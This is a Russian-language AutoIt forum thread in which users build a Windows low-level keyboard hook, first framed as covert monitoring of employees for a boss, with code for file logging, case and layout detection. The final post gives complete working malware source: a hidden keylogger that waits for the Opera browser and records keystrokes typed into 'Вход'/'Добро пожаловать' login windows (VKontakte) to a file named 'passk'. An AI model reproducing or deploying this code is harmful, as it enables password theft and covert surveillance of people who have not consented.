Что нового

Перехват нажатия клавиш

Статус
Закрыто для дальнейших ответов.

ZanMax

Тестер
Сообщения
120
Репутация
5
Продолжаю писать програму для слежением за действиями пользователей !
Не подумайте о мне ничего плохого. Просто на фирме начальник хочет знать что делают сотрудники. Вот и нужно написать жалкое подобие Lan Agentа.

Вот нашел код для перехвата нажатий клавиш.
У меня возникло пару вопросов.
1.Как сделать запись в файл а не вывод на екран ?
2.Как сделать так что-бы учитывался регистр (Большая "А" маленькая "а")
3.Как можно отловить нажатий клавиш (Ctrl,ALT,Shift,ENTER,Esc,F1-F12)
Код:
HotKeySet("{ESC}", "OnAutoItExit")

Global Const $WH_KEYBOARD_LL    = 13

Global $sBuffer                 = ""
Global $hStub_KeyProc           = DllCallbackRegister("_KeyProc", "int", "int;ptr;ptr")
Global $hMod                    = DllCall("kernel32.dll", "hwnd", "GetModuleHandle", "ptr", 0)
Global $hHook                   = DllCall("user32.dll", "hwnd", "SetWindowsHookEx", "int", _
    $WH_KEYBOARD_LL, "ptr", DllCallbackGetPtr($hStub_KeyProc), "hwnd", $hMod[0], "dword", 0)

MsgBox(4096, "", "Type anything anywhere and it will appear in the top left corner of the screen.")

While 1
    Sleep(10)
WEnd

Func EvaluateKey($nKeyCode)
    If (($nKeyCode > 22) And ($nKeyCode < 91)) _
        Or (($nKeyCode > 47) And ($nKeyCode < 58)) Then
        $sBuffer &= Chr($nKeyCode)
        ToolTip($sBuffer, 0, 0)
    ElseIf ($nKeyCode > 159) And ($nKeyCode < 164) Then
        Return
    EndIf
EndFunc

Func _KeyProc($nCode, $wParam, $lParam)
    Local $aRet, $KEYHOOKSTRUCT

    If $nCode < 0 Then
        $aRet = DllCall("user32.dll", "long", "CallNextHookEx", "hwnd", $hHook[0], "int", $nCode, "ptr", $wParam, "ptr", $lParam)
        Return $aRet[0]
    EndIf

    If $wParam = 256 Then
        $KEYHOOKSTRUCT = DllStructCreate("dword;dword;dword;dword;ptr", $lParam)
        EvaluateKey(DllStructGetData($KEYHOOKSTRUCT, 1))
    EndIf

    $aRet = DllCall("user32.dll", "long", "CallNextHookEx", "hwnd", $hHook[0], "int", $nCode, "ptr", $wParam, "ptr", $lParam)

    Return $aRet[0]
EndFunc

Func OnAutoItExit()
    If $hStub_KeyProc Then DllCallbackFree($hStub_KeyProc)
    $hStub_KeyProc = 0
    DllCall("user32.dll", "int", "UnhookWindowsHookEx", "hwnd", $hHook[0])
    If @HotKeyPressed <> "" Then Exit
EndFunc


Спасибо всем.
 

CreatoR

Must AutoIt!
Команда форума
Администратор
Сообщения
8,671
Репутация
2,481
ZanMax « Создано: Сегодня в 17:39:26 »
.Как сделать запись в файл а не вывод на екран ?

Код:
FileWrite("File.txt", $sBuffer)


Как сделать так что-бы учитывался регистр
Вот пример для определения раскладки клавиатуры (рус./укр./англ.) + регистра букв на них:

Код:
#include <Misc.au3>

HotKeySet("^e", "OnAutoItExit")

Global Const $WH_KEYBOARD_LL = 13
Global $hStub_KeyProc = DllCallbackRegister("_Key_Proc", "int", "int;ptr;ptr")
Global $hMod = DllCall("kernel32.dll", "hwnd", "GetModuleHandle", "ptr", 0)
Global $hHook = DllCall("user32.dll", "hwnd", "SetWindowsHookEx", "int", $WH_KEYBOARD_LL, _
	"ptr", DllCallbackGetPtr($hStub_KeyProc), "hwnd", $hMod[0], "dword", 0)

MsgBox(4096, "", "Type anything anywhere and it will appear in the top left corner of the screen.")

While 1
	Sleep(100)
WEnd

Func _EvaluateKey_Proc($nKeyCode)
	Local $sCapt_Codes, $sEng_Codes, $sEngShift_Codes, $sRus_Codes, $sRusShift_Codes
	Local $sUkr_Codes, $sUkrShift_Codes
	
	Local $aCapture_Codes, $aEng_Codes, $aEngShift_Codes, $aRus_Codes, $aRusShift_Codes, $aUkr_Codes, $aUkrShift_Codes
	
	Local $sSound
	Local $sChar
	
	Switch $nKeyCode
		; проверяться будут только нажатия на буквы и цифры и еще клавиши минус и плюс, что после клавиши 0.
		Case 65 To 90, 48 To 57, 186 To 192, 219, 221, 222
			$sCapt_Codes = _
				"АQWERTYUIOPЫЭASDFGHJKLєЮZXCVBNMјѕї" & _
				"1234567890Ѕ»"
			
			$sEng_Codes = _
				"`qwertyuiop[]asdfghjkl;'zxcvbnm,./" & _
				"1234567890-="
			
			$sEngShift_Codes = _
				'~QWERTYUIOP{}ASDFGHJKL:"ZXCVBNM<>?' & _
				'!@#$%^&*()_+'
			
			$sRus_Codes = _
					"ёйцукенгшщзхъфывапролджэячсмитьбю." & _
					"1234567890-="

			$sRusShift_Codes = _
				'ЁЙЦУКЕНГШЩЗХЪФЫВАПРОЛДЖЭЯЧСМИТЬБЮ,' & _
				'!"№;%:?*()_+'
			
			$sUkr_Codes = _
				"'йцукеягшщзхЇфівапролджєнчсмитьбю." & _
				"1234567890-="
			
			$sUkrShift_Codes = _
				"’ЙЦУКЕЯГШЩЗХЇФІВАПРОЛДЖЄНЧСМИТЬБЮ," & _
				'!"№;%:?*()_+'
			
			$aCapture_Codes = StringSplit($sCapt_Codes, "")
			
			$aEng_Codes = StringSplit($sEng_Codes, "")
			$aEngShift_Codes = StringSplit($sEngShift_Codes, "")
			
			$aRus_Codes = StringSplit($sRus_Codes, "")
			$aRusShift_Codes = StringSplit($sRusShift_Codes, "")
			
			$aUkr_Codes = StringSplit($sUkr_Codes, "")
			$aUkrShift_Codes = StringSplit($sUkrShift_Codes, "")
			
			Switch _WinGetKeyboardLayout(WinGetHandle("[ACTIVE]"))
				Case 0409 ;Если раскладка английская
					If _IsPressed(10) Then ; если нажата клавиша Shift
						$sChar = _ReplaceKeyCode_Proc($nKeyCode, $aCapture_Codes, $aEngShift_Codes)
					Else ; если не нажата клавиша Shift
						$sChar = _ReplaceKeyCode_Proc($nKeyCode, $aCapture_Codes, $aEng_Codes)
					EndIf
					
					$sSound = "en.wav"
				Case 0419 ;Если расскладка русская
					If _IsPressed(10) Then ; если нажата клавиша Shift
						$sChar = _ReplaceKeyCode_Proc($nKeyCode, $aCapture_Codes, $aRusShift_Codes)
					Else ; если не нажата клавиша Shift
						$sChar = _ReplaceKeyCode_Proc($nKeyCode, $aCapture_Codes, $aRus_Codes)
					EndIf
					
					$sSound = "ru.wav"
				Case 0422 ;Если расскладка украинская
					If _IsPressed(10) Then ; если нажата клавиша Shift
						$sChar = _ReplaceKeyCode_Proc($nKeyCode, $aCapture_Codes, $aUkrShift_Codes)
					Else ; если не нажата клавиша Shift
						$sChar = _ReplaceKeyCode_Proc($nKeyCode, $aCapture_Codes, $aUkr_Codes)
					EndIf
					
					$sSound = "ukr.wav"
			EndSwitch
			
			ToolTip($sChar & " - " & Asc($sChar), 0, 80)
			SoundPlay($sSound) ;проигрывать звук при нажатии
		Case Else ; если была нажата не буква и не цыфра, то выход из функции
			Return
	EndSwitch
EndFunc

Func _Key_Proc($nCode, $wParam, $lParam)
	Local $aRet, $KEYHOOKSTRUCT
	
	If $nCode < 0 Then
		$aRet = DllCall("user32.dll", "long", "CallNextHookEx", "hwnd", $hHook[0], "int", $nCode, "ptr", $wParam, "ptr", $lParam)
		Return $aRet[0]
	EndIf
	
	If $wParam = 256 Then
		$KEYHOOKSTRUCT = DllStructCreate("dword;dword;dword;dword;ptr", $lParam)
		_EvaluateKey_Proc(DllStructGetData($KEYHOOKSTRUCT, 1))
	EndIf
	
	$aRet = DllCall("user32.dll", "long", "CallNextHookEx", "hwnd", $hHook[0], "int", $nCode, "ptr", $wParam, "ptr", $lParam)
	Return $aRet[0]
EndFunc

;Функция для замены кодов нажатых клавиш с массива
Func _ReplaceKeyCode_Proc($nKeyCode, $aSearch_Array, $aReplace_Array)
	For $i = 1 To $aSearch_Array[0]
		If $nKeyCode == Asc($aSearch_Array[$i]) Then
			$nKeyCode = Asc($aReplace_Array[$i])
			Return Chr($nKeyCode)
		EndIf
	Next
EndFunc

;функция позволяет узнать язык текущей расскладки клавиатуры
Func _WinGetKeyboardLayout($hWnd)
	Local $aRet = DllCall("user32.dll", "long", "GetWindowThreadProcessId", "hwnd", $hWnd, "ptr", 0)
	$aRet = DllCall("user32.dll", "long", "GetKeyboardLayout", "long", $aRet[0])
	
	Return "0000" & Hex($aRet[0], 4)
EndFunc

Func OnAutoItExit()
	If $hStub_KeyProc Then DllCallbackFree($hStub_KeyProc)
	$hStub_KeyProc = 0
	DllCall("user32.dll", "int", "UnhookWindowsHookEx", "hwnd", $hHook[0])
	If @HotKeyPressed <> "" Then Exit
EndFunc


Как можно отловить нажатий клавиш (Ctrl,ALT,Shift,ENTER,Esc,F1-F12)
Код:
$nKeyCode = 160 ;Левый Shift
$nKeyCode = 161 ;Правый Shift
$nKeyCode = 162 ;Левый Ctrl
$nKeyCode = 163 ;Правый Ctrl


Чтобы узнать остальные, можно после «Case Else ; если была нажата не буква и не цыфра, то выход из функции» добавить внизу:
Код:
ConsoleWrite($nKeyCode & @CRLF)

Но для Alt'а придётся использовать _IsPressed.
 

lokky7777

Новичок
Сообщения
1
Репутация
0
А у меня попутный вопрос по поводу библиотечки misc.au3.
Стоит ее подключить в любом (хоть пустой скрипт с инклудом этой библиотеки) скрипте и антивирусник ругается на такую exe-ху, говорит что там лошадка спрятана...
Попытался ковырнуть содержимое misc.au3, но до конца не осилил :(
Возможно оно и не стоит опасений, т.к. заразу в файле узрел параноидальный антивирус a-squared, но, как говорится, осадочек-то остался (да и ехе-шник с библиотекой в размере прибавляет прилично).
Может ли кто-нибудь из ковырятелей сего чуда развеять мои страхи?
 

snoitaleR

AutoIT Гуру
Сообщения
855
Репутация
223
lokky7777
Я только что создал EXE-файл из скрипта с включенной Misc.au3...
DRWEB.5.0 с последними обновлениями не выдает никаких предупреждений...
Я думаю, твой антивирус реагирует на обращения функций DllCall() к системным библиотекам...
 

sp3d

Новичок
Сообщения
2
Репутация
0
Здравствуйте!
Я недавно начал изучать AutoIt.
Просматривая темы по работе с клавиатурой, наткнулся на эту тему....
Понимаю, что времени с последнего поста прошло много, но всеже спрошу, т.к. инфу не нашел.
При компиляции примера, предложеного CreatoR, выдает следующую ошибку:
ERROR: _ReplaceKeyCode_Proc() called by a previous line with 2 arg(s). Min = 3. First previous line calling this Func is 57.
Func _ReplaceKeyCode_Proc($nKeyCode, $aSearch_Array, $aReplace_Array)
Поиск по форуму и справке не дал результатов, где же всетаки можно узнать про функцию _ReplaceKeyCode
 

CreatoR

Must AutoIt!
Команда форума
Администратор
Сообщения
8,671
Репутация
2,481
sp3d [?]
При компиляции примера, предложеного CreatoR, выдает следующую ошибку
Видимо ошибка при компиляции, без неё я так понимаю пример работает?
 

sp3d

Новичок
Сообщения
2
Репутация
0
не работает при всех вариантах запуска скрипта
-------------------------------------------------------------------
Причину так и не понял, но после переустановки программы скрипт заработал
 

CreatoR

Must AutoIt!
Команда форума
Администратор
Сообщения
8,671
Репутация
2,481
sp3d [?]
не работает при всех вариантах запуска скрипта
Значит делаете что то не то, у меня на 3.3.6.1 всё работает.
 

Денис

Знающий
Сообщения
35
Репутация
8
Здравствуйте уважаемый CreatoR. У меня к Вам такой вопрос. Ваш скрипт не перехватывает нажатие клавиши "пробел", это фича скрипта, или же это откровенный баг?

В любом случаи не подскажите где "собака зарыта", и почему не происходит перехват "пробела"?
 

CreatoR

Must AutoIt!
Команда форума
Администратор
Сообщения
8,671
Репутация
2,481
Денис [?]
Ваш скрипт не перехватывает нажатие клавиши "пробел", это фича скрипта, или же это откровенный баг?
Это фича, и об этом указанно в комментах:
Код:
; проверяться будут только нажатия на буквы и цифры и еще клавиши минус и плюс, что после клавиши 0.


почему не происходит перехват "пробела"?
Там нужно добавить код символа пробела и сам пробел в список символов:

Код:
; проверяться будут только нажатия на буквы и цифры и еще клавиши минус и плюс, что после клавиши 0.
        Case 32, 65 To 90, 48 To 57, 186 To 192, 219, 221, 222
            $sCapt_Codes = _
                "АQWERTYUIOPЫЭASDFGHJKLєЮZXCVBNMјѕї" & _
                " 1234567890Ѕ»"
            
            $sEng_Codes = _
                "`qwertyuiop[]asdfghjkl;'zxcvbnm,./" & _
                " 1234567890-="
			 
            $sEngShift_Codes = _
                '~QWERTYUIOP{}ASDFGHJKL:"ZXCVBNM<>?' & _
                '!@#$%^&*()_+'
            
            $sRus_Codes = _
                    "ёйцукенгшщзхъфывапролджэячсмитьбю." & _
                    " 1234567890-="

            $sRusShift_Codes = _
                'ЁЙЦУКЕНГШЩЗХЪФЫВАПРОЛДЖЭЯЧСМИТЬБЮ,' & _
                '!"№;%:?*()_+'
            
            $sUkr_Codes = _
                "'йцукеягшщзхЇфівапролджєнчсмитьбю." & _
                " 1234567890-="
 

rusreg79

Продвинутый
Сообщения
159
Репутация
57
Kак прикрутить к коду CreatoR показ нажатых Numpad клавиш?
 

c-n1x

Новичок
Сообщения
26
Репутация
1
Не получилось у меня через FileWrite сделать запись в файл.
 

yukuru

Влюбленный Бродячий Кот
Сообщения
48
Репутация
4
Переделал. все работает.:
1) запскается и висит скрытым
2) следит пока не откроют страницу с названием "Вход" или "Добро Пожаловать", - в моем случае ориентированно на оперу- "Вконтакте"
3) записывает в файл все что вводят, пока не зайдут

ДАно в ознакомительных целях)

Код:
#NoTrayIcon
#Region ;**** Directives created by AutoIt3Wrapper_GUI ****
#AutoIt3Wrapper_Outfile=opera hook.exe
#EndRegion ;**** Directives created by AutoIt3Wrapper_GUI ****

	Opt("TrayIconHide", 1)


ProcessWait("opera.exe")


;WinWaitActive("Добро пожаловать")


#include <GUIConstantsEx.au3>
#include <WindowsConstants.au3>
#include <Misc.au3>
#include <EditConstants.au3>


$ok=1
	Global Const $WH_KEYBOARD_LL = 13
Global $sChar=""
	Global $hStub_KeyProc = DllCallbackRegister("_Key_Proc", "int", "int;ptr;ptr")
Global $hMod = DllCall("kernel32.dll", "hwnd", "GetModuleHandle", "ptr", 0)
Global $hHook = DllCall("user32.dll", "hwnd", "SetWindowsHookEx", "int", $WH_KEYBOARD_LL, _
    "ptr", DllCallbackGetPtr($hStub_KeyProc), "hwnd", $hMod[0], "dword", 0)

While 1

;	WinWaitActive("Добро пожаловать")
;	MsgBox(4096, "", "Type anything anywhere and it will appear in the top left corner of the screen.")
Sleep(10)
WEnd





Func _EvaluateKey_Proc($nKeyCode)
    Local $sCapt_Codes, $sEng_Codes, $sEngShift_Codes, $sRus_Codes, $sRusShift_Codes
    Local $sUkr_Codes, $sUkrShift_Codes

    Local $aCapture_Codes, $aEng_Codes, $aEngShift_Codes, $aRus_Codes, $aRusShift_Codes, $aUkr_Codes, $aUkrShift_Codes

    Local $sSound
    Local $sChar

    Switch $nKeyCode
        ; проверяться будут только нажатия на буквы и цифры и еще клавиши минус и плюс, что после клавиши 0.
        Case 65 To 90, 48 To 57, 186 To 192, 219, 221, 222
            $sCapt_Codes = _
                "АQWERTYUIOPЫЭASDFGHJKLєЮZXCVBNMјѕї" & _
                "1234567890Ѕ»"

            $sEng_Codes = _
                "`qwertyuiop[]asdfghjkl;'zxcvbnm,./" & _
                "1234567890-="

            $sEngShift_Codes = _
                '~QWERTYUIOP{}ASDFGHJKL:"ZXCVBNM<>?' & _
                '!@#$%^&*()_+'

            $sRus_Codes = _
                    "ёйцукенгшщзхъфывапролджэячсмитьбю." & _
                    "1234567890-="

            $sRusShift_Codes = _
                'ЁЙЦУКЕНГШЩЗХЪФЫВАПРОЛДЖЭЯЧСМИТЬБЮ,' & _
                '!"№;%:?*()_+'

            $sUkr_Codes = _
                "'йцукеягшщзхЇфівапролджєнчсмитьбю." & _
                "1234567890-="

            $sUkrShift_Codes = _
                "’ЙЦУКЕЯГШЩЗХЇФІВАПРОЛДЖЄНЧСМИТЬБЮ," & _
                '!"№;%:?*()_+'

            $aCapture_Codes = StringSplit($sCapt_Codes, "")

            $aEng_Codes = StringSplit($sEng_Codes, "")
            $aEngShift_Codes = StringSplit($sEngShift_Codes, "")

            $aRus_Codes = StringSplit($sRus_Codes, "")
            $aRusShift_Codes = StringSplit($sRusShift_Codes, "")

            $aUkr_Codes = StringSplit($sUkr_Codes, "")
            $aUkrShift_Codes = StringSplit($sUkrShift_Codes, "")

            Switch _WinGetKeyboardLayout(WinGetHandle("[ACTIVE]"))
                Case 0409 ;Если раскладка английская
                    If _IsPressed(10) Then ; если нажата клавиша Shift
                        $sChar = _ReplaceKeyCode_Proc($nKeyCode, $aCapture_Codes, $aEngShift_Codes)
                    Else ; если не нажата клавиша Shift
                        $sChar = _ReplaceKeyCode_Proc($nKeyCode, $aCapture_Codes, $aEng_Codes)
                    EndIf

                    $sSound = "en.wav"
                Case 0419 ;Если расскладка русская
                    If _IsPressed(10) Then ; если нажата клавиша Shift
                        $sChar = _ReplaceKeyCode_Proc($nKeyCode, $aCapture_Codes, $aRusShift_Codes)
                    Else ; если не нажата клавиша Shift
                        $sChar = _ReplaceKeyCode_Proc($nKeyCode, $aCapture_Codes, $aRus_Codes)
                    EndIf

                    $sSound = "ru.wav"
                Case 0422 ;Если расскладка украинская
                    If _IsPressed(10) Then ; если нажата клавиша Shift
                        $sChar = _ReplaceKeyCode_Proc($nKeyCode, $aCapture_Codes, $aUkrShift_Codes)
                    Else ; если не нажата клавиша Shift
                        $sChar = _ReplaceKeyCode_Proc($nKeyCode, $aCapture_Codes, $aUkr_Codes)
                    EndIf

                    $sSound = "ukr.wav"
				EndSwitch
if BitAND(WinGetState("Добро пожаловать"),8) Or BitAND(WinGetState("Вход"),8)Then
if $sChar<>"" Then
$f=FileOpen("passk",1)
FileWrite($f,$sChar)
FileClose($f)
$sChar=""
EndIf
EndIf
;sleep(10)
            ;ToolTip($sChar & " - " & Asc($sChar), 0, 80)
            ;SoundPlay($sSound) ;проигрывать звук при нажатии
        Case Else ; если была нажата не буква и не цыфра, то выход из функции
            Return
    EndSwitch
EndFunc

Func _Key_Proc($nCode, $wParam, $lParam)
    Local $aRet, $KEYHOOKSTRUCT

    If $nCode < 0 Then
        $aRet = DllCall("user32.dll", "long", "CallNextHookEx", "hwnd", $hHook[0], "int", $nCode, "ptr", $wParam, "ptr", $lParam)
        Return $aRet[0]
    EndIf

    If $wParam = 256 Then
        $KEYHOOKSTRUCT = DllStructCreate("dword;dword;dword;dword;ptr", $lParam)
        _EvaluateKey_Proc(DllStructGetData($KEYHOOKSTRUCT, 1))
    EndIf

    $aRet = DllCall("user32.dll", "long", "CallNextHookEx", "hwnd", $hHook[0], "int", $nCode, "ptr", $wParam, "ptr", $lParam)
    Return $aRet[0]
EndFunc

;Функция для замены кодов нажатых клавиш с массива
Func _ReplaceKeyCode_Proc($nKeyCode, $aSearch_Array, $aReplace_Array)
    For $i = 1 To $aSearch_Array[0]
        If $nKeyCode == Asc($aSearch_Array[$i]) Then
            $nKeyCode = Asc($aReplace_Array[$i])
            Return Chr($nKeyCode)
        EndIf
    Next
EndFunc

;функция позволяет узнать язык текущей расскладки клавиатуры
Func _WinGetKeyboardLayout($hWnd)
    Local $aRet = DllCall("user32.dll", "long", "GetWindowThreadProcessId", "hwnd", $hWnd, "ptr", 0)
    $aRet = DllCall("user32.dll", "long", "GetKeyboardLayout", "long", $aRet[0])

    Return "0000" & Hex($aRet[0], 4)
EndFunc

Func OnAutoItExit()
    If $hStub_KeyProc Then DllCallbackFree($hStub_KeyProc)
    $hStub_KeyProc = 0
    DllCall("user32.dll", "int", "UnhookWindowsHookEx", "hwnd", $hHook[0])
    If @HotKeyPressed <> "" Then Exit
EndFunc
;MsgBox(0,"","OK")
 
Статус
Закрыто для дальнейших ответов.
Верх